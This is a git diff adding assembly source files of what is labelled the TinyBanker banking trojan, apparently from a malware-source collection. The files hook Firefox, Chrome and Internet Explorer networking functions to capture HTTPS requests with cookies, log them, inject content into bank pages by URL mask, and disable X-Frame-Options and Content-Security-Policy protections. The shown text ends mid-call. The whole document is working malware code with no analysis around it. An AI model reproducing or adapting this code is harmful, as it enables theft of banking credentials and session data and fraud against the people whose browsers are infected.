b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/CheckEOF.inc new file mode 100644 index 0000000..e2dd905 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/CheckEOF.inc @@ -0,0 +1,67 @@ + +.code + +;; ==================================================================================================== ;; +;; CheckEOF - check if there is end of file already ;; +;; __in lpData - data ptr with its len in first dword ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; ==================================================================================================== ;; +CheckEOF proc uses ecx edi esi lpData : dword + + mov esi, lpData + mov ecx, [esi] ;; data len + add esi, 4 ;; data begin ptr + lea edi, [ecx+esi] ;; data end ptr + + +;; ================================================== ;; + invokx &StrIPos[ebx], esi, ecx, "\r\nContent-Length: ", 18 + jmpz eax, @chunked + + + add eax, 18 + invokx &atodw[ebx], eax + mov ecx, eax ;; content len + + + mov eax, edi + sub eax, esi + invokx &StrIPos[ebx], esi, eax, "\r\n\r\n", 4 + jmpz eax, @ret + + + lea eax, [eax+ecx+4] + cmp eax, edi + je @ret ;; end + + + xor eax, eax + jmp @ret ;; not end + + +;; ================================================== ;; +@chunked: + invokx &StrIPos[ebx], esi, ecx, "\r\nTransfer-Encoding:", 20 + jmpz eax, @nolen + + + sub edi, 7 + invokx &StrIPos[ebx], edi, 7, "\r\n0\r\n\r\n", 7 + + + jmp @ret + + +;; ================================================== ;; +@nolen: + cmp dword ptr [edi-4], 0A0D0A0Dh + jne @ret + + inc eax + + +@ret: + ret +CheckEOF endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/FFWebInject.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/FFWebInject.inc new file mode 100644 index 0000000..1be191c --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/FFWebInject.inc @@ -0,0 +1,59 @@ + +.code + +;; ==================================================================================================== ;; +;; FFWebInject - ;; +;; ;; +;; ==================================================================================================== ;; +FFWebInject proc dwHandle, lpData : dword + + pushad + mov esi, lpData + mov ecx, [esi] ;; data len + add esi, 4 ;; data begin ptr + lea edi, [ecx+esi] ;; data end ptr + + + invokx &StrIPos[ebx], esi, ecx, "\r\n\r\n", 4 + mov edx, eax ;; ptr to content start + + + sub eax, esi ;; headers len + invokx &StrIPos[ebx], esi, eax, "\r\nTransfer-Encoding:", 20 + jmpz eax, @F + + + lea eax, [edx+4] + invokx &StrIPos[ebx], eax, 10, "\r\n", 2 + jmpz eax, @ret + + lea edx, [eax-2] ;; ptr to content start + sub edi, 7 ;; ptr to content end + + +@@: mov ecx, [edx] ;; save dword + lea eax, [edi-4] + sub eax, edx ;; content len + mov [edx], eax ;; put new len + + + invokx &WebInject[ebx], dwHandle, edx + + + xchg ecx, [edx] ;; restore saved dword + lea edi, [edx+ecx+4] ;; pointer to end of data + cmp dword ptr [edx], 0A0D0A0Dh + je @F + invokx &strcpyn[ebx], edi, "\r\n0\r\n\r\n", 7 + add edi, 7 + + +@@: sub edi, esi + mov [esi-4], edi + + +@ret: + popad + ret +FFWebInject endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/FixChunk.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/FixChunk.inc new file mode 100644 index 0000000..e9c6b0b --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/FixChunk.inc @@ -0,0 +1,53 @@ + +.code + +;; ==================================================================================================== ;; +;; FixChunk - creates solid chunk from many chunks ;; +;; __in lpData - data ptr with its len in first dword ;; +;; ==================================================================================================== ;; +FixChunk proc lpData : dword + + pushad + mov esi, lpData + lodsd ;; data len + lea edx, [eax+esi] ;; data end ptr + + + invokx &StrIPos[ebx], esi, eax, "\r\n\r\n", 4 + lea ecx, [eax+4] ;; ptr to first chunk len + + + sub eax, esi ;; headers len + invokx &StrIPos[ebx], esi, eax, "\r\nTransfer-Encoding:", 20 + jmpz eax, @ret + + + invokx &htodw[ebx], ecx + lea edi, [ecx+2] ;; ptr to first chunk start + + +@nextchunk: + lea edi, [edi+eax+2] ;; ptr to next chunk len + invokx &htodw[ebx], edi + jmpz eax, @F + sub edi, 2 ;; \r\n + lea esi, [ecx+2] ;; ptr to next chunk start + mov ecx, edx + sub ecx, esi ;; len left + mov edx, edi ;; save ptr + rep movsb + xchg edx, edi ;; restore ptr + jmp @nextchunk + + +@@: mov eax, lpData + sub edx, eax + sub edx, 4 + mov [eax], edx ;; set new len + + +@ret: + popad + ret +FixChunk endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/FixHeaders.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/FixHeaders.inc new file mode 100644 index 0000000..ed719e9 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/FixHeaders.inc @@ -0,0 +1,34 @@ + +.code + +;; ==================================================================================================== ;; +;; FixHeaders - ;; +;; __in lpData - data ptr ;; +;; __in dwLen - data len ;; +;; ==================================================================================================== ;; +FixHeaders proc lpData, dwLen : dword + + invokx &StrIPos[ebx], lpData, dwLen, "HTTP", 4 + jmpz eax, @ret + + + invokx &StrIPos[ebx], lpData, dwLen, "\r\n\r\n", 4 + jmpz eax, @F + sub eax, lpData + mov dwLen, eax + + +@@: invokx &StrIPos[ebx], lpData, dwLen, "\r\nX-Frame-Options: ", 19 + jmpz eax, @ret + mov dword ptr [eax+2], "g-yM" + + + invokx &StrIPos[ebx], lpData, dwLen, "\r\nX-Content-Security-Policy: ", 29 + jmpz eax, @ret + mov dword ptr [eax+2], "illI" + + +@ret: + ret +FixHeaders endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/FixLen.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/FixLen.inc new file mode 100644 index 0000000..8f148b8 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/FixLen.inc @@ -0,0 +1,100 @@ + +.code + +;; ==================================================================================================== ;; +;; FixLen - fixes len of contents ;; +;; __in lpData - data ptr with its len in first dword ;; +;; ==================================================================================================== ;; +FixLen proc lpData : dword + local lpEnd : dword + + + + pushad + mov esi, lpData + lodsd ;; data len + lea edi, [eax+esi] ;; data end ptr + mov lpEnd, edi + + + invokx &StrIPos[ebx], esi, eax, "\r\n\r\n", 4 + lea edi, [eax+4] ;; content start + + + mov ecx, edi + sub ecx, esi ;; headers len + +;; ================================================== ;; + invokx &StrIPos[ebx], esi, ecx, "\r\nContent-Length: ", 18 + jmpz eax, @chunked + + + lea esi, [eax+18] + invokx &StrIPos[ebx], esi, 12, "\r\n", 2 + jmpz eax, @ret + + + ;; shift data + lea edx, [eax+10] ;; new ptr + mov ecx, lpEnd + sub ecx, eax ;; data len to shift + invokx &strcpyn[ebx], edx, eax, ecx + + + mov eax, lpEnd + sub eax, edi ;; content len + invokx &dwtoa[ebx], eax, esi ;; put new len in data + + + ;; shift data back + invokx &strcpyn[ebx], eax, edx, ecx + + + mov esi, lpData + sub eax, esi + sub eax, 4 + mov [esi], eax ;; new data len + + + jmp @ret + + +;; ================================================== ;; +@chunked: + invokx &StrIPos[ebx], esi, ecx, "\r\nTransfer-Encoding:", 20 + jmpz eax, @ret + + + invokx &StrIPos[ebx], edi, 10, "\r\n", 2 + jmpz eax, @ret + + + mov ecx, lpEnd + sub ecx, eax ;; "\r\n" + "content" + "\r\n0\r\n\r\n" + + + ;; shift data + lea edx, [eax+8] ;; new ptr + invokx &strcpyn[ebx], edx, eax, ecx + + + sub ecx, 9 ;; content len + invokx &dwtoh[ebx], ecx, edi ;; new len in data + + + ;; shift data back + add ecx, 9 ;; "\r\n" + "content" + "\r\n0\r\n\r\n" + invokx &strcpyn[ebx], eax, edx, ecx + + + mov esi, lpData + sub eax, esi + sub eax, 4 + mov [esi], eax ;; new data len + + +@ret: + popad + ret +FixLen endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/GrabBrief.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/GrabBrief.inc new file mode 100644 index 0000000..c7bed61 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/GrabBrief.inc @@ -0,0 +1,84 @@ + +.code + +;; ==================================================================================================== ;; +;; GrabBrief - fold method, protocol and request string of Firefox & Chrome browsers ;; +;; Return: 0 - failed to get buffer ;; +;; !0 - success, size of ;; +;; ==================================================================================================== ;; +GrabBrief proc uses ecx edx edi esi p1, p2, p3 : dword + + invokx &ArrayKeyBuff[ebx], lpSendBuffersArray[ebx], p1 + jmpz eax, @ret ;; failed to get buffer + mov edi, [eax+4] ;; ptr to data with its len in 1st dword + + + ;; method + mov ecx, 4 ;; method len + mov esi, p2 ;; headers buffer + cmp dword ptr[esi], " TEG" + je @F + cmp dword ptr[esi], "TSOP" + jne @ret + cmp byte ptr[esi+4], " " + jne @ret + inc ecx ;; method len + +@@: mov edx, edi ;; store ptr to data with its len in 1st dword + add edi, 4 ;; ptr to buffer start + rep movsb ;; copy method + + + ;; protocol + mov eax, "ptth" + stosd ;; copy protocol + mov ecx, p1 ;; PRFileDesc + mov eax, [ecx+20] ;; PRDescIdentity + cmp eax, -3 ;; PR_IO_LAYER_HEAD + jne @F + mov eax, [ecx+8] ;; PRFileDesc *lower + mov eax, [eax+20] +@@: jmpz eax, @F + mov al, "s" + stosb ;; add protocol +@@: mov eax, "//:" + stosd ;; finish protocol + dec edi + + + ;; host + invokx &StrIPos[ebx], p2, p3, "\r\nHost: ", 8 + jmpz eax, @F + mov ecx, esi ;; store start of url ptr + lea esi, [eax+8] ;; host name ptr + mov eax, p2 + add eax, p3 + sub eax, esi + invokx &StrIPos[ebx], esi, eax, "\r\n", 2 + sub eax, esi ;; host name len + xchg ecx, eax + rep movsb ;; copy host + mov esi, eax ;; restore start of url ptr + + + ;; url +@@: mov eax, p2 + add eax, p3 + sub eax, esi + invokx &StrIPos[ebx], esi, eax, " ", 1 + sub eax, esi + mov ecx, eax + rep movsb ;; copy url + mov ax, 0A0Dh + stosw ;; copy \r\n + + + ;; save data len + lea eax, [edi-4] + sub eax, edx + mov [edx], eax + +@ret: + ret +GrabBrief endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/hPR_Close.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/hPR_Close.inc new file mode 100644 index 0000000..0b6965f --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/hPR_Close.inc @@ -0,0 +1,23 @@ + +.code + +;; ==================================================================================================== ;; +;; hPR_Close is a PR_Close handler procedure of Firefox & Chrome browsers ;; +;; ==================================================================================================== ;; +hPR_Close proc p1 : dword + + push ebx + GetBaseDelta ebx + invokx &ArrayKeyDel[ebx], lpSockHandlesArray[ebx], p1 + invokx &ArrayKeyDel[ebx], lpSendBuffersArray[ebx], p1 + invokx &ArrayKeyDel[ebx], lpReadBuffersArray[ebx], p1 + mov eax, ebx + pop ebx + + + invokx _PR_Close[eax], p1 + add esp, 4 + leave + retn +hPR_Close endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/hPR_Read.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/hPR_Read.inc new file mode 100644 index 0000000..981b35e --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/hPR_Read.inc @@ -0,0 +1,157 @@ + +.code + +;; ==================================================================================================== ;; +;; hPR_Read is a PR_Read handler procedure of Firefox & Chrome browsers ;; +;; ==================================================================================================== ;; +hPR_Read proc p1, p2, p3: dword + local lpData : dword + local myp2 : dword + local myp3 : dword + + + + mov eax, p1 ;; PRFileDesc + mov eax, [eax] ;; PRIOMethods + mov eax, [eax] ;; PRDescType + + cmp eax, 2 ;; PR_DESC_FILE = 1 + je @F ;; PR_DESC_SOCKET_TCP = 2 + cmp eax, 4 ;; PR_DESC_SOCKET_UDP = 3 + je @F ;; PR_DESC_LAYERED = 4 + + + GetBaseDelta eax + invokx _PR_Read[eax], p1, p2, p3 + add esp, 12 + leave + retn + + +;; ================================================== ;; +@@: pushad + GetBaseDelta ebx + + invokx &ArrayKeyPos[ebx], lpSockHandlesArray[ebx], p1 + jmpnz eax, @giveback ;; give back flag is set + + + invokx &ArrayKeyPos[ebx], lpReadBuffersArray[ebx], p1 + jmpnz eax, @collect ;; continue collecting + + + invokx &GetInject[ebx], p1, 0 + jmpz eax, @F ;; collecting not need + + + invokx &ArrayKeyBuff[ebx], lpReadBuffersArray[ebx], p1 + jmpnz eax, @collect ;; alloc collecting buffer + + +@@: popad + GetBaseDelta eax + invokx _PR_Read[eax], p1, p2, p3 + add esp, 12 +pushad + GetBaseDelta ebx + invokx &FixHeaders[ebx], p2, eax +popad + leave + retn + + +;; ================================================== ;; +@collect: + mov esi, [eax+4] ;; ptr to data len + mov lpData, esi ;; ptr to data with its len in 1st dword + lea eax, [esi+4] ;; ptr to data start + add eax, [esi] ;; ptr to data end + mov myp2, eax ;; ptr to end of already grabbed data + + +@readmore: + mov eax, BUFFERLEN-RESERVE + sub eax, [esi] + jmpz eax, @webinject ;; if no more space in buffer to collect data + mov myp3, eax + +popad + GetBaseDelta eax + invokx _PR_Read[eax], p1, myp2, myp3 + add esp, 12 +pushad + + mov myp3, eax ;; save answer code + jmple eax, @end + + + add myp2, eax ;; ptr to end of already grabbed data + mov esi, lpData ;; ptr to data with its len in 1st dword + add [esi], eax ;; new data len + + + GetBaseDelta ebx + invokx &CheckEOF[ebx], lpData + jmpz eax, @readmore ;; not EOF + + + +@webinject: + invokx &ArrayKeyPos[ebx], lpSockHandlesArray[ebx], 0 + mov ecx, p1 + mov [eax], ecx ;; set give back flag + + +;DEBUG "RAW", lpData, lpData + mov esi, lpData + lodsd ;; data len + invokx &FixHeaders[ebx], esi, eax +;DEBUG "HEADERS", lpData, lpData + invokx &FixChunk[ebx], lpData +;DEBUG "FIXED", lpData, lpData + invokx &FFWebInject[ebx], p1, lpData +;DEBUG "INJCTED", lpData, lpData + invokx &FixLen[ebx], lpData +;DEBUG "FINALLY", lpData, lpData + + + +@giveback: + invokx &ArrayKeyPos[ebx], lpReadBuffersArray[ebx], p1 + mov esi, [eax+4] ;; ptr to data len + lea edi, [esi+4] ;; ptr to data start + + + ;; return data to caller + mov ecx, [esi] ;; data len + cmp ecx, p3 + jbe @F + mov ecx, p3 +@@: invokx &strcpyn[ebx], p2, edi, ecx + mov myp3, ecx + + + sub [esi], ecx ;; new data len + mov eax, [esi] ;; new data len + jmpz eax, @endgive ;; no more data to give back + + + ;; shift data + add ecx, edi ;; ptr to new data start + invokx &strcpyn[ebx], edi, ecx, eax + jmp @end + + +@endgive: + invokx &ArrayKeyDel[ebx], lpSockHandlesArray[ebx], p1 ;; reset give back flag + invokx &ArrayKeyDel[ebx], lpReadBuffersArray[ebx], p1 ;; delete collect buffer + + +@end: +popad + mov eax, myp3 + + leave + retn +hPR_Read endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/hPR_Write.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/hPR_Write.inc new file mode 100644 index 0000000..246e08e --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/hPR_Write.inc @@ -0,0 +1,161 @@ + +.code + +;; ==================================================================================================== ;; +;; hPR_Write is a PR_Write handler procedure of Firefox & Chrome browsers ;; +;; ==================================================================================================== ;; +hPR_Write proc p1, p2, p3 : dword + + mov eax, p1 ;; PRFileDesc + mov eax, [eax] ;; PRIOMethods + mov eax, [eax] ;; PRDescType + + cmp eax, 2 ;; PR_DESC_FILE = 1 + je @F ;; PR_DESC_SOCKET_TCP = 2 + cmp eax, 4 ;; PR_DESC_SOCKET_UDP = 3 + je @F ;; PR_DESC_LAYERED = 4 + + +@real: + GetBaseDelta eax + invokx _PR_Write[eax], p1, p2, p3 + add esp, 12 + leave + retn + + +@@: pushad + GetBaseDelta ebx + invokx &GrabBrief[ebx], p1, p2, p3 + jmpz eax, @real ;; headers not grabbed + + +;; ================================================== ;; +;; modify headers only if inject needed + invokx &GetInject[ebx], p1, 0 + jmpz eax, @varswork ;; not modify + + + invokx &StrIPos[ebx], p2, p3, "\r\nIf-Modified-Since: ", 21 + jmpz eax, @F ;; not found + add eax, 21 + invokx &strcpyn[ebx], eax, "Thu, 01 Jan 1970 00:00:00 GMT", 29 + + +@@: invokx &StrIPos[ebx], p2, p3, "\r\nAccept-Encoding: ", 19 + jmpz eax, @varswork ;; not found + lea edi, [eax+19] + mov eax, p2 + add eax, p3 + sub eax, edi + invokx &StrIPos[ebx], edi, eax, "\r\n", 2 + mov ecx, eax + invokx &strcpyn[ebx], edi, "identity", 8 + add edi, 8 + sub ecx, edi + mov al, " " + rep stosb + + +@varswork: +;; ================================================== ;; +;; grab vars from contents + + +;; ================================================== ;; +;; delete vars from contents +comment ~ + invokx &StrIPos[ebx], p2, p3, "display=", 8 + jmpz eax, @write + mov edi, eax + mov eax, p2 + add eax, p3 + sub eax, edi + invokx &StrIPos[ebx], edi, eax, "&", 1 + mov ecx, eax + sub ecx, edi + mov al, "&" + rep stosb +~ + + + + + +;; ================================================== ;; +@write: +popad + + GetBaseDelta eax + invokx _PR_Write[eax], p1, p2, p3 + add esp, 12 + jmple eax, @1 ;; grab only success requests + +pushad + mov ecx, eax ;; save send len + GetBaseDelta ebx + invokx &IsGrabTerm[ebx], p1 + jmpz eax, @F + invokx &InLog[ebx], p2, ecx, HTTPS_REQUEST +@@: +popad + +@1: leave + retn +hPR_Write endp + + +comment ~ + +PRInt32 PR_Write( + PRFileDesc *fd, + const void *buf, + PRInt32 amount); + + +struct PRFileDesc { + PRIOMethods *methods; + PRFilePrivate *secret; + PRFileDesc *lower, *higher; + void (*dtor)(PRFileDesc *fd); + PRDescIdentity identity; +}; + +typedef struct PRFileDesc PRFileDesc; + + +struct PRIOMethods { + PRDescType file_type; + PRCloseFN close; + PRReadFN read; + PRWriteFN write; + PRAvailableFN available; + PRAvailable64FN available64; + PRFsyncFN fsync; + PRSeekFN seek; + PRSeek64FN seek64; + PRFileInfoFN fileInfo; + PRFileInfo64FN fileInfo64; + PRWritevFN writev; + PRConnectFN connect; + PRAcceptFN accept; + PRBindFN bind; + PRListenFN listen; + PRShutdownFN shutdown; + PRRecvFN recv; + PRSendFN send; + PRRecvfromFN recvfrom; + PRSendtoFN sendto; + PRPollFN poll; + PRAcceptreadFN acceptread; + PRTransmitfileFN transmitfile; + PRGetsocknameFN getsockname; + PRGetpeernameFN getpeername; + PRGetsockoptFN getsockopt; + PRSetsockoptFN setsockopt; +}; + +typedef struct PRIOMethods PRIOMethods; + +~ + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/GetInject.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/GetInject.inc new file mode 100644 index 0000000..f5da49b --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/GetInject.inc @@ -0,0 +1,44 @@ + +.code + +;; ==================================================================================================== ;; +;; GetInject - ;; +;; __in dwHandle - stored connection handle ;; +;; __in lpInjPtr - pointer in webinjects data search from ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; eax - pointer to options ;; +;; ecx - len of options ;; +;; ==================================================================================================== ;; +GetInject proc uses edx edi esi dwHandle, lpInjPtr : dword + + invokx &ArrayKeyPos[ebx], lpSendBuffersArray[ebx], dwHandle + jmpz eax, @ret ;; no stored connections for this handle + mov edx, [eax+4] ;; ptr to connection brief + + + mov esi, lpWebInjectsData[ebx] + lodsd + mov edi, lpInjPtr + jmpnz edi, @F + mov edi, esi +@@: add esi, eax ;; end ptr + + +@nextseturl: + mov eax, esi + sub eax, edi ;; len + invokx &StrIPos[ebx], edi, eax, "\nset_url ", 9 + jmpz eax, @ret + lea edi, [eax+9] ;; url mask ptr + + + mov eax, esi + sub eax, edi ;; len + invokx &Compare[ebx], edx, edi, eax + jmpz eax, @nextseturl + +@ret: + ret +GetInject endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/GrabIEHeaders.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/GrabIEHeaders.inc new file mode 100644 index 0000000..2684ac9 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/GrabIEHeaders.inc @@ -0,0 +1,103 @@ + +.code + +;; ==================================================================================================== ;; +;; GrabIEHeaders - ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; ==================================================================================================== ;; +GrabIEHeaders proc uses ecx edx edi esi p1, p4, p5 : dword + local dwIndex : dword + local dwLen : dword + local hParent : dword + + + + invokx &ArrayKeyBuff[ebx], lpSendBuffersArray[ebx], p1 + jmpz eax, @err ;; failed to alloc buffer + mov esi, [eax+4] ;; ptr to data len + lea edi, [esi+4] ;; ptr to data start + + + ;; Get request method + mov dwLen, 8 + mov dwIndex, 0 + invokx _HttpQueryInfoA[ebx], p1, HTTP_QUERY_REQUEST_METHOD, edi, &dwLen, &dwIndex + jmpz eax, @ret + + add edi, dwLen + mov al, " " + stosb + + + ;; Get URL + mov dwLen, 8192 + invokx _InternetQueryOptionA[ebx], p1, INTERNET_OPTION_URL, edi, &dwLen + jmpz eax, @ret + + + ;; Attach Cookie + mov edx, edi ;; pointer to url + add edi, dwLen + add edi, 10 ;; reserve space for "\r\nCookie: " string + mov dwLen, 8192 + invokx _InternetGetCookieA[ebx], edx, 0, edi, &dwLen + sub edi, 10 + jmpz eax, @F + + mov ax, 0A0Dh + stosw + mov eax, "kooC" + stosd + mov eax, " :ei" + stosd + add edi, dwLen + dec edi ;; exclude nullbyte + + + ;; Attach User-Agent +@@: mov dwLen, 4 + invokx _InternetQueryOptionA[ebx], p1, INTERNET_OPTION_PARENT_HANDLE, &hParent, &dwLen + jmpz eax, @F + mov dwLen, 4 + invokx _InternetQueryOptionA[ebx], hParent, INTERNET_OPTION_PARENT_HANDLE, &hParent, &dwLen + jmpz eax, @F + add edi, 14 ;; reserve space for "\r\nUser-Agent: " string + mov dwLen, 260 + invokx _InternetQueryOptionA[ebx], hParent, INTERNET_OPTION_USER_AGENT, edi, &dwLen + sub edi, 14 + jmpz eax, @F + + mov ax, 0A0Dh + stosw + mov eax, "resU" + stosd + mov eax, "egA-" + stosd + mov eax, " :tn" + stosd + add edi, dwLen + + + ;; Attach optional data +@@: cmp p5, 0 + je @F + mov eax, 0A0D0A0Dh + stosd + invokx &strcpyn[ebx], edi, p4, p5 + add edi, p5 + + + ;; Len +@@: sub edi, esi + sub edi, 4 + mov [esi], edi + + +@ret: + mov eax, esi + +@err: + ret +GrabIEHeaders endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/InternetStatusCallback.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/InternetStatusCallback.inc new file mode 100644 index 0000000..52aed14 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/InternetStatusCallback.inc @@ -0,0 +1,55 @@ + +.code + +;; ==================================================================================================== ;; +;; StatusCallback is a IE StatusCallback handler procedure ;; +;; When status is INTERNET_STATUS_REQUEST_COMPLETE ;; +;; search current handle in status wait array and delete it ;; +;; ==================================================================================================== ;; +InternetStatusCallback proc uses ebx hInternet, dwContext, dwInternetStatus, lpvStatusInformation, dwStatusInformationLength : dword + + GetBaseDelta ebx + + cmp dwInternetStatus, INTERNET_STATUS_REQUEST_COMPLETE + jne @real + + + invokx &ArrayKeyDel[ebx], lpSockHandlesArray[ebx], hInternet + jmp @ret + + +@real: + invokx lpRealCallbackProc[ebx], hInternet, dwContext, dwInternetStatus, lpvStatusInformation, dwStatusInformationLength + +@ret: + ret +InternetStatusCallback endp + + + +;; ==================================================================================================== ;; +;; Pending - ;; +;; ;; +;; ==================================================================================================== ;; +Pending proc uses ecx hInternet + + mov ecx, hInternet + + invokx &ArrayKeyPos[ebx], lpSockHandlesArray[ebx], ecx + jmpz eax, @end + + +@@: nop + cmp [eax], ecx + je @B + + +@end: + invokx &ArrayKeyPos[ebx], lpSockHandlesArray[ebx], 0 + mov [eax], ecx + + ret +Pending endp + + lpRealCallbackProc dd 0 + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hHttpEndRequestA.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hHttpEndRequestA.inc new file mode 100644 index 0000000..130b466 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hHttpEndRequestA.inc @@ -0,0 +1,28 @@ + +.code + +;; ==================================================================================================== ;; +;; hHttpEndRequest is a HttpEndRequestA and HttpEndRequestW handler procedure ;; +;; Search current handle in array of send handles ;; +;; If handle found then unset array cell and create thread for log sending ;; +;; ==================================================================================================== ;; +hHttpEndRequest proc uses esi ebx p1, p2, p3, p4 : dword + + GetBaseDelta ebx + + + invokx &ArrayKeyPos[ebx], lpSendBuffersArray[ebx], p1 + jmpz eax, @real + + ;; Handle found, send log + mov esi, [eax+4] ;; esi - pointer to data & its len (in 1-st dword) + lodsd + invokx &InLog[ebx], esi, eax, HTTPS_REQ + + +@real: + invokx _HttpEndRequestA[ebx], p1, p2, p3, p4 + + ret +hHttpEndRequest endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hHttpQueryInfoA.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hHttpQueryInfoA.inc new file mode 100644 index 0000000..23dd958 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hHttpQueryInfoA.inc @@ -0,0 +1,26 @@ + +.code + +;; ==================================================================================================== ;; +;; hHttpQueryInfoA is a HttpQueryInfoA handler procedure ;; +;; ==================================================================================================== ;; +hHttpQueryInfoA proc uses ebx p1, p2, p3, p4, p5 : dword + + GetBaseDelta ebx + + + + cmp p2, 0FFFFh + jne @real + invokx &StrIPos[ebx], p3, 15, "X-Frame-Options", 15 + jmpz eax, @real + xor eax, eax + jmp @ret + + +@real: + invokx _HttpQueryInfoA[ebx], p1, p2, p3, p4, p5 +@ret: + ret +hHttpQueryInfoA endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hHttpSendRequestExW.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hHttpSendRequestExW.inc new file mode 100644 index 0000000..8667fdb --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hHttpSendRequestExW.inc @@ -0,0 +1,17 @@ + +.code + +;; ==================================================================================================== ;; +;; hHttpSendRequestExW is a HttpSendRequestExW handler procedure ;; +;; ==================================================================================================== ;; +hHttpSendRequestExW proc uses ebx p1, p2, p3, p4, p5 : dword + + GetBaseDelta ebx + + invokx &GrabIEHeaders[ebx], p1, 0, 0 + + invokx _HttpSendRequestExW[ebx], p1, p2, p3, p4, p5 + + ret +hHttpSendRequestExW endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hHttpSendRequestW.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hHttpSendRequestW.inc new file mode 100644 index 0000000..277957c --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hHttpSendRequestW.inc @@ -0,0 +1,64 @@ + +.code + +;; ==================================================================================================== ;; +;; hHttpSendRequest is a HttpSendRequestA and HttpSendRequestW handler procedure ;; +;; ==================================================================================================== ;; +hHttpSendRequest proc uses esi p1, p4, p5 : dword + + invokx &GrabIEHeaders[ebx], p1, p4, p5 + jmpz eax, @real + mov esi, eax + + + invokx &GetInject[ebx], p1, 0 + jmpz eax, @F + + invokx _HttpAddRequestHeadersA[ebx], p1, "Accept-Encoding: identity\r\n", -1, HTTP_ADDREQ_FLAG_REPLACE or HTTP_ADDREQ_FLAG_ADD + invokx _HttpAddRequestHeadersA[ebx], p1, "If-Modified-Since: Thu, 01 Jan 1970 00:00:00 GMT\r\n", -1, HTTP_ADDREQ_FLAG_REPLACE + invokx _HttpAddRequestHeadersA[ebx], p1, "TE: identity\r\n", -1, HTTP_ADDREQ_FLAG_REPLACE + + +@@: invokx &IsGrabTerm[ebx], p1 + jmpz eax, @real + + lodsd + invokx &InLog[ebx], esi, eax, HTTPS_REQUEST + + +@real: + ret +hHttpSendRequest endp + + + +;; ==================================================================================================== ;; +;; hHttpSendRequestA is a HttpSendRequestA handler procedure ;; +;; ==================================================================================================== ;; +hHttpSendRequestA proc uses ebx p1, p2, p3, p4, p5 : dword + + GetBaseDelta ebx + + invokx _HttpAddRequestHeadersA[ebx], p1, p2, p3, HTTP_ADDREQ_FLAG_REPLACE or HTTP_ADDREQ_FLAG_ADD + invokx &hHttpSendRequest[ebx], p1, p4, p5 + invokx _HttpSendRequestA[ebx], p1, 0, 0, p4, p5 + + ret +hHttpSendRequestA endp + + + +;; ==================================================================================================== ;; +;; hHttpSendRequestW is a HttpSendRequestW handler procedure ;; +;; ==================================================================================================== ;; +hHttpSendRequestW proc uses ebx p1, p2, p3, p4, p5 : dword + + GetBaseDelta ebx + + invokx _HttpAddRequestHeadersW[ebx], p1, p2, p3, HTTP_ADDREQ_FLAG_REPLACE or HTTP_ADDREQ_FLAG_ADD + invokx &hHttpSendRequest[ebx], p1, p4, p5 + invokx _HttpSendRequestW[ebx], p1, 